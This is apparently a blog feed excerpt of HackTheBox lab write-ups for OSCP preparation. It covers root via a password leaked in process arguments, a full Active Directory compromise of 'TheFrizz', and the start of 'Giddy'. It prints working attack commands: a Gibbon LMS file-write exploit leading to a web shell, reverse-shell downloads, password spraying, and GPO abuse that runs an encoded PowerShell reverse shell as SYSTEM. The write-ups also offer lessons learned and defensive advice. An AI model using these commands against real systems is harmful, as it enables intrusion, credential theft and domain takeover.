<p>Additionally, the script passed the root password to <code>mysqldump</code> via a command-line argument, exposing it in running processes. To capture this, I used <code>pspy</code>:</p>
<pre><code class="language-bash">wget http://10.10.15.205/pspy
chmod +x pspy
./pspy
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9b6c8363-cf36-4d9a-bb71-3afb33ee3f81.png" alt="" style="display:block;margin:0 auto" />

<p>In another session, I executed the script:</p>
<pre><code class="language-bash">sudo /opt/scripts/mysql-backup.sh
</code></pre>
<p>After entering <code>*</code>, the script ran successfully. Monitoring <code>pspy</code>, I observed the root password in plaintext within the process arguments.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c3dd414f-e11f-45e8-bdc3-9ce7f804c30b.png" alt="" style="display:block;margin:0 auto" />

<p>I then switched to root:</p>
<pre><code class="language-bash">su root
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0ca882f4-d668-4aef-b520-15cb995bfe35.png" alt="" style="display:block;margin:0 auto" />

<p>The system was fully compromised.</p>
<hr />
<h1><strong>5. Lessons Learned</strong></h1>
<p><strong>1. Version Disclosure Enables Targeted Exploitation</strong></p>
<p>Exposing the exact version of vm2 made it trivial to identify a working exploit. This reinforced how dangerous version disclosure can be in real environments.</p>
<p><strong>2. Third-Party Libraries Are Part of the Attack Surface</strong></p>
<p>The vulnerability wasn’t in the application itself, but in a dependency. This highlights the importance of auditing and updating all components, not just core code.</p>
<p><strong>3. Unquoted Variables in Bash Can Break Security Logic</strong></p>
<p>Failing to quote variables led to pattern matching instead of strict comparison, completely bypassing authentication.</p>
<p><strong>4. Process Arguments Can Leak Sensitive Data</strong></p>
<p>Passing the root password via command-line arguments exposed it to any user capable of monitoring processes, making privilege escalation trivial.</p>
<hr />
<h1><strong>6. Defensive Insight</strong></h1>
<p><strong>1. Avoid Exposing Internal Version Information</strong></p>
<p>Applications should not disclose library versions, especially when those components are security-critical.</p>
<p><strong>2. Keep Dependencies Patched and Updated</strong></p>
<p>Outdated libraries—particularly sandboxing mechanisms—can completely undermine application security.</p>
<p><strong>3. Always Quote Variables in Bash Scripts</strong></p>
<p>"$VAR"<br />Proper quoting ensures comparisons behave as intended and prevents pattern-matching abuse.</p>
<p><strong>4. Never Pass Credentials via Command-Line Arguments</strong></p>
<p>Sensitive data should be handled securely through protected configurations or environment variables, not exposed in process listings.</p>
<hr />
<h1><strong>Useful Commands</strong></h1>
<h3><strong>Port Scanning</strong></h3>
<pre><code class="language-bash">rustscan -a 10.129.15.49 -b 7000
</code></pre>
<h3><strong>Subdomain Enumeration</strong></h3>
<pre><code class="language-bash">ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20
</code></pre>
<h3><strong>Directory Brute Force</strong></h3>
<pre><code class="language-bash">ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<h3><strong>Exploit Lookup</strong></h3>
<pre><code class="language-bash">searchsploit vm2
</code></pre>
<h3><strong>Hash Cracking</strong></h3>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3><strong>Process Monitoring</strong></h3>
<pre><code class="language-bash">./pspy
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #20
HTB Write-Up TheFrizz]]></title><description><![CDATA[1. Target Overview
Machine Name: TheFrizzPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.232.168Objective: Gain initial access to the domain, pivot through multiple user contexts, and f]]></description><link>https://www.hack2harden.com/oscp-prep-20-htb-write-up-thefrizz</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-20-htb-write-up-thefrizz</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sun, 05 Apr 2026 05:18:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ec129cf3-76e2-49c6-9d66-da4d6e4ab955.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> TheFrizz<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.232.168<br /><strong>Objective:</strong> Gain initial access to the domain, pivot through multiple user contexts, and fully compromise the environment by abusing Group Policy permissions.</p>
<p>TheFrizz ended up being one of the most realistic Active Directory boxes I have worked through so far. It felt like a layered environment where progress came from paying attention, understanding Kerberos behavior, hunting for credentials in the right places, and pivoting. What I liked most about it was that each stage naturally led into the next. The web server gave me the first foothold, that foothold exposed credentials, those credentials led to a real domain user, and from there the box shifted into a much more AD-focused exercise that finished with a very instructive GPO abuse attack.</p>
<h2>Tools Used</h2>
<ul>
<li><p>RustScan</p>
</li>
<li><p>NetExec</p>
</li>
<li><p>rpcclient</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>curl</p>
</li>
<li><p>Python HTTP server</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>MySQL client</p>
</li>
<li><p>Hashcat</p>
</li>
<li><p>RustHound CE</p>
</li>
<li><p>SSH</p>
</li>
<li><p>SCP</p>
</li>
<li><p>7-Zip</p>
</li>
<li><p>grep</p>
</li>
<li><p>SharpGPOAbuse</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Nmap Scan</h3>
<pre><code class="language-bash">rustscan -a 10.129.232.168 -b 7000
</code></pre>
<p>As always, I started with a port scan to get the attack surface. Right away, the results looked exactly like what I would expect from a domain-connected Windows target. I saw the usual Active Directory-related services such as Kerberos, LDAP, SMB, and DNS, which immediately told me I was dealing with a domain environment and not just a standalone Windows host. At the same time, there were two other services that stood out to me right away: a web server on port 80 and SSH.</p>
<p>The presence of SSH on a Windows target was interesting because that is not always exposed, and I made a mental note that it might become useful later if I got valid credentials.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8b2e41a8-5ead-411c-a34b-8e44da0df414.png" alt="" style="display:block;margin:0 auto" />

<p>The scan also leaked the FQDN information, frizzdc.frizz.htb, which is always key early on in an AD box because it helps ground the rest of the enumeration in the correct domain context. I added it to my hosts file before going on. On AD targets, it's critical to do this first because it avoids problems later when using Kerberos-dependent tooling.</p>
<pre><code class="language-bash">echo "10.129.232.168 frizzdc.frizz.htb frizz.htb"| sudo tee -a /etc/hosts
</code></pre>
<hr />
<h3>SMB Enumeration</h3>
<pre><code class="language-bash">nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares
</code></pre>
<p>My next move was to follow my normal AD checklist and begin with SMB. I wanted to know right away whether the box allowed any kind of anonymous or guest access because that can sometimes open the door to quick share enumeration or user discovery.</p>
<p>That did not happen here. Both null and guest-style authentication attempts failed. which shut down the anonymous SMB angle pretty quickly.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2b8c3bcd-4998-43dd-bbd8-9e2bcdf95200.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>RPC Enumeration</h3>
<pre><code class="language-bash">rpcclient -U "" -N 10.129.232.168
</code></pre>
<p>After SMB, I tested RPC anonymously. Just like SMB, this failed as well. The target returned <code>NT_STATUS_NOT_SUPPORTED</code>, so anonymous RPC enumeration was off the table too.</p>
<hr />
<h3>LDAP Enumeration</h3>
<p>Anonymous LDAP enumeration was also not allowed. That meant no anonymous SMB, no anonymous RPC, and no anonymous LDAP meant I was not going to build my initial foothold from a misconfigured AD service.</p>
<p>With that in mind I shifted my attention to the next attack surface: the website on port 80.</p>
<hr />
<h3>Web Enumeration</h3>
<pre><code class="language-bash">ffuf -u http://frizz.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p>I kicked off a directory fuzz and also started manually browsing the site in my browser. The website appeared to belong to an elementary school. It had school-related content, general information, and multiple links. Most of those links went nowhere, but one of them led to <strong>Gibbon LMS</strong>.</p>
<p>Once I landed on the Gibbon page, I noticed the version number right away at the bottom: <strong>25.0.00</strong>. Whenever I can identify a framework, CMS, or platform version during enumeration, I treat that as a major lead.</p>
<p>The Gibbon page also had a login portal, so I tried some default credentials just in case, but they were unsuccessful. The links on the page were not especially useful either. Still, the important part was already in front of me: I had a named platform and a visible version number.</p>
<hr />
<h3>Vulnerability Research</h3>
<p>From there, I searched for vulnerabilities affecting Gibbon 25.0.00 and came across a very promising result: an unauthenticated file write vulnerability that could be turned into remote code execution.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6eec671b-198b-4b55-80f9-5442cb0f8b1d.png" alt="" style="display:block;margin:0 auto" />

<p>The vulnerability was described as follows:</p>
<blockquote>
<p>GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because <code>rubrics_visualise_saveAjax.php</code> does not require authentication. The endpoint accepts the <code>img</code>, <code>path</code>, and <code>gibbonPersonID</code> parameters. The <code>img</code> parameter is expected to be a base64 encoded image. If the <code>path</code> parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the <code>img</code> parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution.</p>
</blockquote>
<p>Once I found that, the first thing I needed to do was confirm whether the vulnerable endpoint actually existed on the target.</p>
<hr />
<h1>3. Exploitation</h1>
<h3>Confirming File Write</h3>
<pre><code class="language-bash">curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&amp;path=neo.php&amp;gibbonPersonID=0000000001'
</code></pre>
<p>After confirming the vulnerable endpoint existed, I first used it to write a harmless text file and then verified that I could retrieve it successfully from the server.</p>
<p>Once the text file test worked, I moved on to writing a PHP web shell. That worked too. At that point I had unauthenticated code execution through the web application.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/72c7758e-4e65-4360-9aec-fc51c503772e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Shell as w.webservice</h3>
<pre><code class="language-bash">python3 -m http.server 80
nc -nvlp 7777
</code></pre>
<p>After proving I could execute commands through the uploaded PHP file, I used that access to pull down a PowerShell reverse shell script from my Python web server and shortly after that I caught a shell on my Netcat listener.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1ba03ff-78dc-4616-8e73-f2150f0d8005.png" alt="" style="display:block;margin:0 auto" />

<p>The shell landed as:</p>
<pre><code class="language-text">frizz\w.webservice
</code></pre>
<pre><code class="language-powershell">
whoami
net user
</code></pre>
<p>As soon as I had the shell, I started with the usual questions: who am I, what can I see, and what can I use from here?</p>
<p>Running <code>whoami</code> showed I was the <code>w.webservice</code> account. Then I used <code>net user</code> to list local or domain-visible accounts. The result gave me a strong set of usernames to work with, including accounts like:</p>
<ul>
<li><p>Administrator</p>
</li>
<li><p>f.frizzle</p>
</li>
<li><p>M.SchoolBus</p>
</li>
<li><p>Guest</p>
</li>
<li><p>krbtgt</p>
</li>
<li><p>w.Webservice</p>
</li>
</ul>
<p>That list turned out to be extremely useful later, because it gave me a ready-made set of candidates for username validation, AS-REP roasting attempts, and password spraying.</p>
<p>At this stage I also ran:</p>
<pre><code class="language-powershell">whoami /all
</code></pre>
<p>but there were no interesting privileges or groups attached to <code>w.webservice</code>.</p>
<hr />
<h3>Local Enumeration</h3>
<p>I checked for the two Windows privilege escalation angles I usually look at early:</p>
<ul>
<li><p>cached Group Policy Preference passwords</p>
</li>
<li><p>AutoLogon credentials</p>
</li>
</ul>
<p>I checked for XML files under the Group Policy History path and also reviewed the Winlogon registry settings. Neither path gave me anything useful here. That ruled out two common quick wins.</p>
<p>I then tried moving into user directories to see whether there were any loose files, notes, scripts, or other artifacts left behind, but <code>w.webservice</code> was too restricted to browse the users directory. Since those routes were blocked, I shifted to one of the places I specifically like checking early on web targets: the web application directory itself.</p>
<hr />
<h3>Credential Hunting in the Web Root</h3>
<p>The target was using XAMPP, so I started looking around there. I specifically wanted config files, <code>.ini</code> files, database references, or anything else that might contain credentials. Since I already knew MySQL was present on the box, seeing the <code>mysql</code> directory inside XAMPP reinforced that I was looking in the right place.</p>
<p>I moved into the website root under <code>C:\xampp\htdocs</code>, then into the Gibbon application directory, and there I found exactly the kind of file I was hoping for:</p>
<pre><code class="language-text">config.php
</code></pre>
<p>When I opened it, I immediately found database credentials:</p>
<pre><code class="language-php">$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
</code></pre>
<p>This was a great example of why I like checking application directories early. The initial shell did not have strong privileges, but web applications often keep secrets close by.</p>
<hr />
<h3>Testing the Database Credentials</h3>
<p>The next question was whether the password I found was reused anywhere else. I sprayed it against my username list, but it did not work for domain logons.</p>
<p>If the password was not reused directly for user authentication, the next best use for it was exactly what it was intended for: database access.</p>
<p>I used the local MySQL binary on the host to connect with the credentials from <code>config.php</code>. That worked. My interaction was a little clunky because I was not sitting in a clean, fully interactive MySQL session, so I was effectively running one command per login attempt.</p>
<p>I first enumerated the databases and saw one meaningful non-default database: <code>gibbon</code>.</p>
<p>Then I listed the tables and noticed <code>gibbonperson</code>, which looked like the most likely place to find account-related information.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8b627add-549e-40a2-8cba-4ca46e8d233a.png" alt="" style="display:block;margin:0 auto" />

<p>When I dumped the contents of <code>gibbonperson</code>, I found a user record for <strong>f.frizzle</strong> along with a password hash.</p>
<p>That was the next major pivot point.</p>
<hr />
<h3>Cracking the Hash and Pivoting to f.frizzle</h3>
<p>I took the recovered hash offline and cracked it with Hashcat. Once I had the password, I tested it.</p>
<p>The first interesting wrinkle here was that it did not work the way I expected with NTLM-based authentication. Testing it with SMB in the usual way failed. But when I switched to Kerberos authentication, it worked.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6e7f8a01-119c-4e09-8d33-778843b5f301.png" alt="" style="display:block;margin:0 auto" />

<p>That was one of the better lessons from the box. The credential was valid, but the authentication method mattered. If I had treated the initial NTLM failure as proof the credential was useless, I would have thrown away a working domain password.</p>
<p>With the valid credentials for <code>f.frizzle</code>, I requested a TGT, initialized it, and used SSH with Kerberos authentication to connect to the target:</p>
<pre><code class="language-bash">export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k
</code></pre>
<p>That got me a PowerShell session on the target as <code>frizz\f.frizzle</code>.</p>
<hr />
<h3>BloodHound Collection</h3>
<pre><code class="language-bash">rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z
</code></pre>
<p>Now that I had valid domain credentials, I wanted to step back and look at the broader domain graph. I used RustHound CE to collect data for BloodHound and then reviewed it for privilege escalation paths.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/825f6be9-2e88-43fe-a85a-64170472ef09.png" alt="" style="display:block;margin:0 auto" />

<p><code>f.frizzle</code> did not appear to have an obvious outbound object control path or some immediate misconfiguration I could exploit.</p>
<p>Since BloodHound was not handing me the answer, I went back to local enumeration.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Enumerating as f.frizzle</h3>
<pre><code class="language-powershell">whoami /all
tree /f /a
</code></pre>
<p>Once I had <code>f.frizzle</code>, I repeated my basic checks. I ran <code>whoami /all</code> to look for useful privileges or interesting group memberships, but there was nothing useful. I enumerated the user’s home directory with <code>tree</code>, but there were no especially interesting files there. I also tried browsing other users’ directories, but I did not have the access needed to pull anything useful from them.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6c91ec09-cd48-4199-942b-3259107a1026.png" alt="" style="display:block;margin:0 auto" />

<p>I checked <code>ProgramData</code>, both <code>Program Files</code> directories, and other standard places where useful artifacts sometimes show up. Everything looked normal. No obvious credentials, no standout config files, no quick escalation vector.</p>
<p>This was the point in the box where I started to feel a little stuck. I had gone from web compromise to a valid domain user, but the next step was not obvious.</p>
<p>That ended up being one of the best parts of the machine, because the path forward came from a technique I had not really thought about before.</p>
<hr />
<h3>Checking the Recycle Bin</h3>
<p>While continuing local enumeration, I checked the recycle bin for user artifacts. That turned out to be the breakthrough.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/81ef133b-46fe-4792-968b-67ed5965ef27.png" alt="" style="display:block;margin:0 auto" />

<p>In the recycle bin, I found files with the familiar Windows recycle naming pattern. There are generally two types of entries involved there:</p>
<ul>
<li><p>files beginning with <code>$I</code>, which contain metadata about the original file</p>
</li>
<li><p>files beginning with <code>$R</code>, which are the actual deleted file contents</p>
</li>
</ul>
<p>That was something I had not really leaned on before as a privilege escalation check, so this box was genuinely instructive in that regard.</p>
<p>Inside the recycle bin, I found a real file:</p>
<pre><code class="language-text">$RE2XMEG.7z
</code></pre>
<p>That looked immediately worth pulling.</p>
<hr />
<h3>Exfiltrating and Extracting the Archive</h3>
<pre><code class="language-bash">scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
</code></pre>
<p>I copied the 7z archive back to my Kali box using <code>scp</code> and then extracted it locally.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/092d6633-ec7d-408f-9f41-a23c9b3e6b91.png" alt="" style="display:block;margin:0 auto" />

<p>Once extracted, the archive contained a large number of files, so I started doing what I usually do in that situation: searching for strings that looked like credentials, secrets, passwords, or config values.</p>
<p>I used <code>grep</code> and found a base64-looking value in one of the files:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2084fc6f-0b7a-4a46-9463-aafd125ee8e6.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">IXN1QmNpZ0BNZWhtZWd1Q0hUgo=
</code></pre>
<hr />
<h3>Decoding the Secret and Spraying It</h3>
<pre><code class="language-bash">echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d
</code></pre>
<p>Decoding the value gave me a plaintext secret:</p>
<pre><code class="language-text">!suBcig0MehTed!R
</code></pre>
<p>As soon as I had that, I tested it against my list of domain users.</p>
<p>My first round of spraying did not succeed over NTLM, but when I repeated the attempt using Kerberos, the credential turned out to be valid</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/15494552-c5d6-480c-86b5-45aa942423ca.png" alt="" style="display:block;margin:0 auto" />

<p>for:</p>
<pre><code class="language-text">M.SchoolBus
</code></pre>
<p>That was another place where Kerberos awareness mattered. The password was good, but the authentication context made the difference between “this seems dead” and “this is the next pivot.”</p>
<hr />
<h3>Pivoting to M.SchoolBus</h3>
<pre><code class="language-bash">ssh M.SchoolBus@10.129.232.168 -k
whoami /all
</code></pre>
<p>I used the recovered credentials to SSH into the box as <code>M.SchoolBus</code> and immediately checked the user’s group memberships.</p>
<p>The account was a member of <strong>Group Policy Creator Owners</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e8d1a5be-8b79-4139-886f-3c4961c927fa.png" alt="" style="display:block;margin:0 auto" />

<p>That group membership was the path to full compromise.</p>
<p>What made this part especially valuable from a learning perspective was that it introduced me to a privilege escalation technique that feels very real in enterprise environments: <strong>GPO abuse</strong>. If a user has the ability to create and link Group Policy Objects in the right places, that can translate directly into code execution on high-value systems, including domain controllers.</p>
<hr />
<h3>Understanding the GPO Abuse Path</h3>
<p>At a high level, the abuse path here was simple:</p>
<ol>
<li><p>Create a new GPO</p>
</li>
<li><p>Link it where it will affect the Domain Controllers OU</p>
</li>
<li><p>Add a malicious scheduled task to that GPO</p>
</li>
<li><p>Force policy refresh</p>
</li>
<li><p>Wait for the domain controller to execute the task as SYSTEM</p>
</li>
</ol>
<p>I was using legitimate AD administrative mechanisms in a malicious way because the compromised user had the rights to do so.</p>
<p>That makes this kind of attack especially dangerous in real environments. If a group like Group Policy Creator Owners is not tightly controlled, it can become a direct path to domain-wide impact.</p>
<hr />
<h3>Creating and Linking the Malicious GPO</h3>
<pre><code class="language-powershell">New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
</code></pre>
<p>After understanding the path, I created a new GPO named <code>neo</code> and linked it to the Domain Controllers OU.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/47c82c72-5bb1-4179-ba42-d512375c9977.png" alt="" style="display:block;margin:0 auto" />

<p>That alone did not trigger anything yet, but it prepared the environment for the next step: embedding a malicious action inside the policy.</p>
<hr />
<h3>Using SharpGPOAbuse to Execute Code</h3>
<p>To weaponize the GPO, I downloaded the SharpGPOAbuse binary to the target using my Python web server. Then I used it to add a scheduled task to the GPO. The scheduled task was configured to execute a PowerShell command that would stage and run my reverse shell payload.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b33df567-ec4d-4c36-b779-9a05df868ad9.png" alt="" style="display:block;margin:0 auto" />

<p>Conceptually, the attack worked like this:</p>
<ul>
<li><p>the GPO carried a scheduled task</p>
</li>
<li><p>the scheduled task executed in the context of the affected machine</p>
</li>
<li><p>because the GPO was linked to the Domain Controllers OU, the domain controller processed it</p>
</li>
<li><p>the task executed as SYSTEM</p>
</li>
</ul>
<p>That meant my original low-privileged foothold had now turned into code execution on the domain controller itself.</p>
<p>This was easily the most instructive part of the machine for me.</p>
<hr />
<h3>Forcing Policy Update and Catching SYSTEM</h3>
<p>Once the GPO was in place, I set up my Netcat listener and then forced a Group Policy update so the malicious scheduled task would get applied.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1036bcba-9072-4f73-a754-98cad4dcb16f.png" alt="" style="display:block;margin:0 auto" />

<p>After that, I caught the shell back as SYSTEM.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/02727876-f23f-41e2-a0a1-77de06452926.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. Version Disclosure Can Be the Difference Between Wandering and Winning</strong></p>
<p>One of the earliest lessons reinforced here was that version disclosure matters. Seeing <code>25.0</code> at the bottom of the Gibbon page was not a trivial detail. It was the key that turned a generic web application into a known, vulnerable target.</p>
<p><strong>2. Config Files Can be Goldmines for Credentials</strong></p>
<p>The foothold as <code>w.webservice</code> did not give me much by itself, but the application files did. Finding the database credentials in <code>config.php</code> was one of the biggest pivots on the box.</p>
<p><strong>3. Authentication Method Matters</strong></p>
<p>This machine did a very good job of reminding me that a credential failing in one context does not automatically mean it is invalid. The <code>f.frizzle</code> and <code>M.SchoolBus</code> pivots worked when I approached them with Kerberos, even where NTLM-style testing was misleading. That is a lesson worth remembering on every AD target going forward.</p>
<p><strong>4. Recycle Bin Enumeration Is a Real Privilege Escalation Check</strong></p>
<p>Before this box, checking recycle bins was not something I thought about much as part of local enumeration. After this box, it absolutely is. Deleted files are still files, and if a user threw away something sensitive without securely removing it, that can become the next pivot.</p>
<p><strong>5. Group Memberships Mean More Than They Sometimes Look Like</strong></p>
<p>Seeing that <code>M.SchoolBus</code> was in Group Policy Creator Owners ended up being the entire win condition. This machine was a great reminder that privilege escalation in AD is often about understanding what a permission actually allows you to do operationally. A group name might not scream “domain compromise” at first glance, but if you know the abuse path, it absolutely can be.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. Public Version Disclosure Increases Risk</strong></p>
<p>Exposing the exact version of an internet-facing application makes vulnerability research much easier for an attacker. Even when that seems harmless from an administrative perspective, it narrows the attacker’s search space significantly and can speed up exploitation.</p>
<p><strong>2. Dangerous Functionality Should Never Be Exposed Without Strong Access Control</strong></p>
<p>The vulnerable Gibbon endpoint allowed unauthenticated file write, which is an extremely dangerous primitive. Any endpoint capable of writing content to disk should be tightly controlled, validated, and monitored. Leaving that kind of functionality exposed to unauthenticated users is a direct path to compromise.</p>
<p><strong>3. Application Secrets Should Not Be Stored So Readily</strong></p>
<p>The database credentials inside <code>config.php</code> gave me the next major pivot after initial access. That kind of secret storage is still very common in real-world applications, which is exactly why it remains such an effective target for attackers. Secrets should be tightly controlled, rotated, and segregated wherever possible.</p>
<p><strong>4. Credential Reuse and Recoverable Secrets Continue to Be a Major Problem</strong></p>
<p>The archive recovered from the recycle bin contained a secret that led directly to another user account. Even though the file had been deleted, it still represented live credential exposure. Sensitive archives, config dumps, and internal project files should be treated as high-risk artifacts throughout their lifecycle, including after deletion.</p>
<p><strong>5. Group Policy Permissions Must Be Closely Controlled</strong></p>
<p>The most severe issue on the box was not the web exploit alone. It was the fact that a compromised user in Group Policy Creator Owners could create and link a malicious GPO against the Domain Controllers OU. Permissions around GPO creation, linking, and modification should be tightly audited and restricted to only the smallest necessary set of administrators.</p>
<p><strong>6. GPO Activity Should Be Monitored Aggressively</strong></p>
<p>The creation of a new GPO, linking it to domain controllers, and adding a scheduled task are all events defenders should care deeply about. Those actions are powerful administrative operations, and unusual activity around them should generate immediate attention in a mature environment.</p>
<hr />
<h1>Useful Commands</h1>
<h3>Initial Scan</h3>
<pre><code class="language-bash">rustscan -a 10.129.232.168 -b 7000
</code></pre>
<h3>SMB Enumeration</h3>
<pre><code class="language-bash">nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares
</code></pre>
<h3>RPC Enumeration</h3>
<pre><code class="language-bash">rpcclient -U "" -N 10.129.232.168
</code></pre>
<h3>Exploiting Gibbon</h3>
<pre><code class="language-bash">curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&amp;path=neo.php&amp;gibbonPersonID=0000000001'
</code></pre>
<h3>Local Database Access</h3>
<pre><code class="language-powershell">C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 -e "SHOW DATABASES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SHOW TABLES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SELECT * FROM gibbonperson;"
</code></pre>
<h3>BloodHound Collection</h3>
<pre><code class="language-bash">rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z
</code></pre>
<h3>Kerberos Pivot</h3>
<pre><code class="language-bash">export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k
</code></pre>
<h3>Recycle Bin Artifact Exfiltration</h3>
<pre><code class="language-bash">scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
grep -r password .
echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d
</code></pre>
<h3>Kerberos Password Spray</h3>
<pre><code class="language-bash">nxc smb frizzdc.frizz.htb -u user.txt -p '!suBcig0MehTed!R' -k
</code></pre>
<h3>GPO Abuse Setup</h3>
<pre><code class="language-powershell">New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
.\sharp.exe --addcomputertask --GPOName "neo" --author "neo" --taskname "wtshelly" --Command "powershell.exe" --arguments "powershell -e JABjAGwAaQBlAG4AdAA9ACIA...&lt;base64 omitted for brevity&gt;..."
gpupdate /force
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #19
HTB Write-Up Giddy]]></title><description><![CDATA[1. Target Overview

Machine Name: Giddy

Platform: HackTheBox

Operating System: Windows

Target IP: 10.129.96.140

Objective: Gain initial access to the target system and escalate privileges to full ]]></description><link>https://www.hack2harden.com/oscp-prep-19-htb-write-up-giddy</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-19-htb-write-up-giddy</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 02 Apr 2026 04:03:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/939c7d63-972d-4382-bada-8d805adc9c46.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<ul>
<li><p><strong>Machine Name:</strong> Giddy</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Windows</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.96.140</p>
</li>
<li><p><strong>Objective:</strong> Gain initial access to the target system and escalate privileges to full administrative control.</p>
</li>
</ul>
<p>This box stood out to me because it reinforced core fundamentals while also introducing new tools and techniques that I know will be useful moving forward. One of the biggest takeaways for me was that this was the first machine where I had to seriously deal with <strong>antivirus evasion</strong>, which is something you can’t ignore in real-world environments. Up to this point, payloads had just worked, but this box forced me to understand why they fail and how to adapt. Overall, it was a well-rounded and very instructional machine that strengthened my foundation while introducing practical, real-world considerations like AV evasion and modern payload generation.</p>
<h3>Tools Used</h3>
<ul>
<li><p>Nmap</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>sqlmap</p>
</li>
<li><p>Responder</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Evil-WinRM</p>
</li>
<li><p>msfvenom</p>
</li>
<li><p>Sliver</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<p>I began the engagement with an Nmap scan to understand the attack surface of the target.</p>
<pre><code class="language-bash">nmap -sC -sV -T4 10.129.96.140
</code></pre>
<p>From the scan results, I observed several key services:</p>
<ul>
